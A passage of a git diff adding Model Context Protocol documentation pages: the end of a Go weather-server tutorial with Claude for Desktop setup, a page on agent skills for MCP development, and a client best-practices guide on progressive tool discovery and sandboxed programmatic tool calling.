+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ new-item main.go
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Add these to the top of your `main.go`:
+
+ ```go theme={null}
+ package main
+
+ import (
+ "cmp"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "strings"
+
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ )
+
+ const (
+ NWSAPIBase = "https://api.weather.gov"
+ UserAgent = "weather-app/1.0"
+ )
+ ```
+
+ ### Data structures
+
+ Next, let's define the data structures used by our tools:
+
+ ```go theme={null}
+ type PointsResponse struct {
+ Properties struct {
+ Forecast string `json:"forecast"`
+ } `json:"properties"`
+ }
+
+ type ForecastResponse struct {
+ Properties struct {
+ Periods []ForecastPeriod `json:"periods"`
+ } `json:"properties"`
+ }
+
+ type ForecastPeriod struct {
+ Name string `json:"name"`
+ Temperature int `json:"temperature"`
+ TemperatureUnit string `json:"temperatureUnit"`
+ WindSpeed string `json:"windSpeed"`
+ WindDirection string `json:"windDirection"`
+ DetailedForecast string `json:"detailedForecast"`
+ }
+
+ type AlertsResponse struct {
+ Features []AlertFeature `json:"features"`
+ }
+
+ type AlertFeature struct {
+ Properties AlertProperties `json:"properties"`
+ }
+
+ type AlertProperties struct {
+ Event string `json:"event"`
+ AreaDesc string `json:"areaDesc"`
+ Severity string `json:"severity"`
+ Description string `json:"description"`
+ Instruction string `json:"instruction"`
+ }
+
+ type ForecastInput struct {
+ Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
+ Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
+ }
+
+ type AlertsInput struct {
+ State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
+ }
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```go theme={null}
+ func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create request: %w", err)
+ }
+
+ req.Header.Set("User-Agent", UserAgent)
+ req.Header.Set("Accept", "application/geo+json")
+
+ client := http.DefaultClient
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var result T
+ if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
+ return nil, fmt.Errorf("failed to decode response: %w", err)
+ }
+
+ return &result, nil
+ }
+
+ func formatAlert(alert AlertFeature) string {
+ props := alert.Properties
+ event := cmp.Or(props.Event, "Unknown")
+ areaDesc := cmp.Or(props.AreaDesc, "Unknown")
+ severity := cmp.Or(props.Severity, "Unknown")
+ description := cmp.Or(props.Description, "No description available")
+ instruction := cmp.Or(props.Instruction, "No specific instructions provided")
+
+ return fmt.Sprintf(`
+ Event: %s
+ Area: %s
+ Severity: %s
+ Description: %s
+ Instructions: %s
+ `, event, areaDesc, severity, description, instruction)
+ }
+
+ func formatPeriod(period ForecastPeriod) string {
+ return fmt.Sprintf(`
+ %s:
+ Temperature: %d°%s
+ Wind: %s %s
+ Forecast: %s
+ `, period.Name, period.Temperature, period.TemperatureUnit,
+ period.WindSpeed, period.WindDirection, period.DetailedForecast)
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```go theme={null}
+ func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Get points data
+ pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
+ pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
+ },
+ }, nil, nil
+ }
+
+ // Get forecast data
+ forecastURL := pointsData.Properties.Forecast
+ if forecastURL == "" {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast URL."},
+ },
+ }, nil, nil
+ }
+
+ forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
+ },
+ }, nil, nil
+ }
+
+ // Format the periods
+ periods := forecastData.Properties.Periods
+ if len(periods) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No forecast periods available."},
+ },
+ }, nil, nil
+ }
+
+ // Show next 5 periods
+ var forecasts []string
+ for i := range min(5, len(periods)) {
+ forecasts = append(forecasts, formatPeriod(periods[i]))
+ }
+
+ result := strings.Join(forecasts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+
+ func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Build alerts URL
+ stateCode := strings.ToUpper(input.State)
+ alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
+
+ alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
+ },
+ }, nil, nil
+ }
+
+ // Check if there are any alerts
+ if len(alertsData.Features) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No active alerts for this state."},
+ },
+ }, nil, nil
+ }
+
+ // Format alerts
+ var alerts []string
+ for _, feature := range alertsData.Features {
+ alerts = append(alerts, formatAlert(feature))
+ }
+
+ result := strings.Join(alerts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```go theme={null}
+ func main() {
+ // Create MCP server
+ server := mcp.NewServer(&mcp.Implementation{
+ Name: "weather",
+ Version: "1.0.0",
+ }, nil)
+
+ // Add get_forecast tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_forecast",
+ Description: "Get weather forecast for a location",
+ }, getForecast)
+
+ // Add get_alerts tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_alerts",
+ Description: "Get weather alerts for a US state",
+ }, getAlerts)
+
+ // Run server on stdio transport
+ if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
+ log.Fatal(err)
+ }
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ go build -o weather .
+ ```
+
+ The compiled binary will be in `./weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+### Test with commands
+
+Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
+
+
+
+
+
+After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
+
+
+
+
+
+If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
+
+If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
+
+* What's the weather in Sacramento?
+* What are the active weather alerts in Texas?
+
+
+
+
+
+
+
+
+
+
+ Since this is the US National Weather service, the queries will only work for US locations.
+
+
+## What's happening under the hood
+
+When you ask a question:
+
+1. The client sends your question to Claude
+2. Claude analyzes the available tools and decides which one(s) to use
+3. The client executes the chosen tool(s) through the MCP server
+4. The results are sent back to Claude
+5. Claude formulates a natural language response
+6. The response is displayed to you!
+
+## Troubleshooting
+
+
+
+ **Getting logs from Claude for Desktop**
+
+ Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+ * Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.
+
+ You can run the following command to list recent logs and follow along with any new ones:
+
+ ```bash theme={null}
+ # Check Claude's logs for errors
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ **Server not showing up in Claude**
+
+ 1. Check your `claude_desktop_config.json` file syntax
+ 2. Make sure the path to your project is absolute and not relative
+ 3. Restart Claude for Desktop completely
+
+
+ To properly restart Claude for Desktop, you must fully quit the application:
+
+ * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
+ * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
+
+ Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
+
+
+ **Tool calls failing silently**
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude for Desktop
+
+ **None of this is working. What do I do?**
+
+ Please refer to our [debugging guide](/docs/2026-07-28/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ **Error: Failed to retrieve grid point data**
+
+ This usually means either:
+
+ 1. The coordinates are outside the US
+ 2. The NWS API is having issues
+ 3. You're being rate limited
+
+ Fix:
+
+ * Verify you're using US coordinates
+ * Add a small delay between requests
+ * Check the NWS API status page
+
+ **Error: No active alerts for \[STATE]**
+
+ This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
+
+
+
+
+ For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2026-07-28/tools/debugging)
+
+
+## Next steps
+
+
+
+ Learn how to build your own MCP client that can connect to your server
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
+
+ Learn how to effectively debug MCP servers and integrations
+
+
+
+ Use agent skills to guide AI coding assistants through server design
+
+
diff --git a/content/mcp/docs/2026-07-28/develop/build-with-agent-skills.md b/content/mcp/docs/2026-07-28/develop/build-with-agent-skills.md
new file mode 100644
index 000000000..653c2be7b
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/develop/build-with-agent-skills.md
@@ -0,0 +1,104 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build with Agent Skills
+
+> Use agent skills to guide AI coding assistants through MCP server design and implementation
+
+[Agent skills](https://agentskills.io/home) are portable instruction sets that
+give AI coding assistants domain knowledge for a task. For MCP development,
+they encode the design decisions (deployment model, tool patterns, auth) so
+your agent can interrogate your use case and scaffold a server that fits.
+
+## Available skills
+
+A reference set of MCP development skills is available as the
+[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
+It provides three composing skills:
+
+| Skill | Purpose |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
+| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
+| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
+| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
+
+Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
+material (auth flows, tool-design patterns, widget templates, manifest schemas)
+that the agent reads on demand. The files follow the open format and work with
+any agent that implements the standard. For example, to install them in Claude
+Code:
+
+```bash theme={null}
+/plugin marketplace add anthropics/claude-plugins-official
+/plugin install mcp-server-dev
+```
+
+For other agents, check your skills or extensions catalog, or clone the
+[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
+(`SKILL.md` plus `references/`) into your agent's skills location.
+
+## Start a build
+
+With the skills installed, ask your agent to help you build an MCP server. The
+entry skill triggers on natural-language requests, or you can invoke it
+directly using your agent's skill-invocation syntax.
+
+The skill runs a short discovery phase before writing any code. Expect
+questions about:
+
+* **What it connects to** — a cloud API, a local process, the filesystem, hardware
+* **Who will use it** — just you, your team, or anyone who installs it
+* **Action surface size** — a handful of operations versus wrapping a large API
+* **User interaction needs** — plain text results, structured input via
+ [elicitation](/specification/2026-07-28/client/elicitation), or rich UI widgets
+* **Upstream auth** — API keys, OAuth 2.0, or none
+
+If your opening message already covers these, the agent skips ahead to the
+recommendation.
+
+## Deployment paths
+
+Based on discovery, the skill recommends one of four paths and scaffolds
+accordingly:
+
+**Remote [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http)**
+is the default for anything wrapping a cloud API. Zero install friction, one
+deployment serves all users, and OAuth flows work properly because the server
+can handle redirects and token storage. The reference skill includes scaffolds
+for Cloudflare Workers and portable Express/FastMCP setups.
+
+**[MCP apps](/extensions/apps/overview)** extend a server with interactive
+widgets rendered in chat, such as searchable pickers, charts, and live
+dashboards. The skill hands off to `build-mcp-app` when
+[elicitation's](/specification/2026-07-28/client/elicitation) flat-form constraints
+don't fit.
+
+**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
+local server together with its runtime as a single `.mcpb` archive, so users
+can install it without setting up Node or Python. Use this path when the server
+must touch the user's machine: reading local files, driving desktop apps, or
+talking to localhost services. The skill hands off to `build-mcpb`.
+
+**Local [stdio](/specification/2026-07-28/basic/transports/stdio)** remains available
+for prototyping, with a noted upgrade path to MCPB when you're ready to
+distribute.
+
+## Next steps
+
+Once your agent scaffolds the server, iterate on tool descriptions and error
+handling, then test and ship:
+
+
+
+ Test your server's tools, resources, and prompts interactively
+
+
+
+ Wire your server into an MCP client via local or remote configuration
+
+
+
+ Make your server discoverable in the MCP Registry
+
+
diff --git a/content/mcp/docs/2026-07-28/develop/clients/client-best-practices.md b/content/mcp/docs/2026-07-28/develop/clients/client-best-practices.md
new file mode 100644
index 000000000..f47d045b0
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/develop/clients/client-best-practices.md
@@ -0,0 +1,305 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Best Practices
+
+> Patterns for scaling MCP host applications across many servers and tools.
+
+As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
+
+Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
+
+## Progressive Tool Discovery
+
+Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
+
+
+
+Progressive discovery avoids this:
+
+* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
+* The host provides a lightweight `search_tools` meta-tool to the model.
+* The host loads full definitions into context only as needed.
+
+### When to Use Progressive Discovery
+
+Progressive discovery is best used when tool definitions take large parts of the context window. For a small
+set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
+Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
+
+* Implement a threshold as a percentage of the context window. For example, 1%-5%.
+* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
+
+### Choosing a Discovery Strategy
+
+Once the model invokes the `search_tools` tool, we need to choose a search strategy:
+
+* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
+* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
+* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
+* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
+ different strategies depending on use-case or query.
+
+Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
+
+The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
+
+### Using Progressive Discovery
+
+One common implementation for progressive discovery uses a search-based three-layer approach:
+
+**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
+
+```typescript theme={null}
+// The model calls a lightweight search tool
+search_tools({ query: "update salesforce record" })
+
+// Returns concise matches: names and one-line descriptions only
+→ [
+ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
+ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
+ ]
+```
+
+**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, output schema, documentation) for that tool only.
+
+```typescript theme={null}
+// The model inspects only the tool it needs
+get_tool_details({ name: "salesforce_updateRecord" });
+```
+
+This returns the complete schema for a single tool:
+
+```json theme={null}
+{
+ "name": "salesforce_updateRecord",
+ "description": "Updates a record in Salesforce",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "objectType": {
+ "type": "string",
+ "description": "Salesforce object type"
+ },
+ "recordId": { "type": "string", "description": "Record ID to update" },
+ "data": { "type": "object", "description": "Fields to update" }
+ },
+ "required": ["objectType", "recordId", "data"]
+ }
+}
+```
+
+**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
+
+This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
+
+### Dynamic Server Management
+
+Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
+
+1. Maintain a registry of available servers and their high-level descriptions.
+2. Connect to a server only when the model determines it needs that server's capabilities.
+3. Disconnect servers that are no longer relevant to the current task, freeing context.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Model
+ participant Host
+ participant Registry
+ participant Server
+
+ Model->>Host: search_available_servers("CRM")
+ Host->>Registry: Query available servers
+ Registry-->>Host: Salesforce server (not connected)
+ Host-->>Model: Salesforce server available
+
+ Model->>Host: enable_server("salesforce")
+ Host->>Server: server/discover
+ Server-->>Host: Supported versions + capabilities
+ Host->>Server: tools/list
+ Server-->>Host: Tool definitions
+ Host-->>Model: Salesforce server connected
+
+ Note over Model: Task complete
+
+ Model->>Host: disable_server("salesforce")
+ Host-->>Model: Server disconnected, context freed
+```
+
+This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/2026-07-28/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
+
+### Implementation Guidelines
+
+When implementing progressive discovery:
+
+| Guideline | Rationale |
+| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
+| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
+| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
+| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
+
+### Caching
+
+Each list result (such as `tools/list`), as well as each `server/discover` and
+`resources/read` result, carries `ttlMs` and `cacheScope` hints. Follow them as defined in the
+specification's [caching utility](/specification/2026-07-28/server/utilities/caching). In particular,
+treat a cached list as stale once a `list_changed` notification arrives, even before its TTL
+expires.
+
+### Interaction with Prompt Caching
+
+Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
+definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
+than the definitions you removed. To preserve caching:
+
+* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
+ `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
+ so the array never changes.
+* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
+* Consult your provider's caching documentation alongside the tool-search links above.
+
+## Programmatic Tool Calling / Code Mode
+
+With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
+
+Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
+
+Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
+clients to implement a sandbox environment.
+
+
+
+### How It Works
+
+The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
+
+**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments and `outputSchema`:
+
+```typescript theme={null}
+// Auto-generated from the Logging MCP server's tool schema
+interface LogEntry {
+ timestamp: string;
+ message: string;
+ level: string;
+}
+
+function logging_getLogs(input: {
+ level: "error" | "warn" | "info";
+ since: number;
+}): Promise<{ entries: LogEntry[] }> {
+ return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
+}
+
+// Auto-generated from the Ticketing MCP server's tool schema
+function ticketing_createIssue(input: {
+ title: string;
+ body?: string;
+ priority: "low" | "medium" | "high";
+}): Promise<{ issueId: string }> {
+ return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
+}
+```
+
+MCP Servers can provide an optional [`outputSchema`](/specification/2026-07-28/server/tools#output-schema) for each tool. When an output schema is present, the host can produce precise return types (like `LogEntry` above).
+
+When an output schema is absent, prefer the simple path:
+
+* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream. The real fix is for server authors to provide `outputSchema`.
+* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
+
+**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
+
+```typescript theme={null}
+// Model-generated code, executes in sandbox
+const logs = await logging_getLogs({
+ level: "error",
+ since: Date.now() - 3600000,
+});
+
+// Filter and deduplicate inside the sandbox, not in the model's context
+const uniqueErrors = new Map();
+for (const log of logs.entries) {
+ if (!uniqueErrors.has(log.message)) {
+ uniqueErrors.set(log.message, log);
+ }
+}
+
+for (const [message, log] of uniqueErrors) {
+ await ticketing_createIssue({
+ title: `Error: ${message}`,
+ body: `First seen: ${log.timestamp}\nOccurrences: ${
+ logs.entries.filter((l) => l.message === message).length
+ }`,
+ priority: "high",
+ });
+}
+
+console.log(
+ `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
+);
+```
+
+**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
+
+### Choosing a Sandbox
+
+The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
+
+| Sandboxed language | Runtime / Library | Host language | Approach |
+| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
+| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
+| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
+| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
+| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
+
+Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
+
+### Execution Architecture
+
+The implementation has three components:
+
+```mermaid theme={null}
+flowchart LR
+ subgraph Host["MCP Host"]
+ A[LLM] -->|writes code| B[Sandbox]
+ B -->|function call| C[MCP Client]
+ C -->|return value| B
+ B -->|console output| A
+ end
+ C -->|tool call| D[MCP Server A]
+ C -->|tool call| E[MCP Server B]
+ D -->|result| C
+ E -->|result| C
+```
+
+**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
+
+**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
+
+**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
+
+### Security Considerations
+
+Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
+
+* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/2026-07-28/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
+* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
+* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
+* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
+* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
+* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
+
+### Error Handling
+
+MCP tool errors arrive as a successful response with
+[`isError: true`](/specification/2026-07-28/server/tools#error-handling) rather than a transport
+failure. Generated wrappers should convert this into a thrown exception so model-authored code
+can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
+result so the model can self-correct; the model is responsible for reporting any partial side
+effects already committed.
+
+## Combining Both Patterns
+
+Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
diff --git a/content/mcp/docs/2026-07-28/develop/connect-local-servers.md b/content/mcp/docs/2026-07-28/develop/connect-local-servers.md
new file mode 100644
index 000000000..437d64f13
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/develop/connect-local-servers.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to local MCP servers
+
+> Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
+
